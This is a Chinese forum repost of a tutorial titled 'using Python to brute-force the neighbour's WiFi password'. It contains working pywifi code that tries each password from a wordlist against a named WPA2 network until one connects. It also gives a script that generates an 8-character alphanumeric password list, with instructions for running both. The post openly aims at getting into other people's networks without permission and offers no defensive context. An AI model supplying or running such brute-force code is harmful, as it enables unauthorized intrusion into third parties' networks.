找回密码
 会员注册
查看: 18|回复: 0

利用Python暴力破解邻居家WiFi密码

[复制链接]

2万

主题

0

回帖

6万

积分

超级版主

积分
67468
发表于 2024-9-10 23:41:23 | 显示全部楼层 |阅读模式
如觉得博主文章写的不错或对你有所帮助的话,还望大家多多支持呀!关注、点赞、收藏、评论。文章目录一、编写代码二、展示测试结果三、测试四、生成密码本(建议自己找一个密码本)一、编写代码在桌面新建一个文件如果你新建的文件没有后缀名.txt,请进行如下设置打开刚刚新建的文件,下面代码写入文件,保存#coding:utf-8importpywififrompywifiimportconstimporttimeimportdatetime#测试连接,返回链接结果defwifiConnect(pwd):#抓取网卡接口wifi=pywifi.PyWiFi()#获取第一个无线网卡ifaces=wifi.interfaces()[0]#断开所有连接ifaces.disconnect()time.sleep(1)wifistatus=ifaces.status()ifwifistatus==const.IFACE_DISCONNECTED:#创建WiFi连接文件profile=pywifi.Profile()#要连接WiFi的名称profile.ssid="TP-LINK_1301"#网卡的开放状态profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher=const.CIPHER_TYPE_CCMP#调用密码profile.key=pwd#删除所有连接过的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(1)ififaces.status()==const.IFACE_CONNECTED:returnTrueelse:returnFalseelse:print("已有wifi连接")#读取密码本defreadPassword():print("开始破解:")#密码本路径path="C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt"#打开文件file=open(path,"r")whileTrue:try:#一行一行读取pad=file.readline()bool=wifiConnect(pad)Python学习交流群:748989764ifbool:print("密码已破解:",pad)print("WiFi已自动连接!!!")break#else:#跳出当前循环,进行下一次循环#print("密码破解中....密码校对:",pad)except:continuestart=datetime.datetime.now()readPassword()end=datetime.datetime.now()print("破解WIFI密码一共用了多长时间:{}".format(end-start))123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172将刚刚建的文件,重命名为:WiFi密码的破解代码.py(xxx.py均可)二、展示测试结果必备文件三、测试打开python软件2.打开代码:File→Open→破解WiFi密码.PY(找到破解代码)→打开3.测试运行修改:WiFi名和密码本路径测试:Run→RunModule四、生成密码本(建议自己找一个密码本)如果有密码本就不需要这个步骤1.代码(密码中有重复的数字和字母)1.修改:密码组成元素和密码保存路径1注意这个密码本生成需要很长时间,建议不要这样生成密码本importitertoolsasitsimportdatetime#记录程序运行时间start=datetime.datetime.now()words='1234567890abcdefghijklmnopqrstuvwxyz'#这里可以加入字母和其他字符,使用string包更方便#生成密码的位数r=its.product(words,repeat=8)#密码位数为9dic=open(r"C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt",'a')foriinr:dic.write(''.join(i))dic.write(''.join('\n'))print(i)Python学习交流群:748989764dic.close()print('密码本生成好了')end=datetime.datetime.now()print("生成密码本一共用了多长时间:{}".format(end-start))1234567891011121314151617181920运行步骤和前面破解WiFi密码相同不再讲解。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 会员注册

本版积分规则

QQ|手机版|心飞设计-版权所有:微度网络信息技术服务中心 ( 鲁ICP备17032091号-12 )|网站地图

GMT+8, 2025-1-3 03:10 , Processed in 1.288026 second(s), 26 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表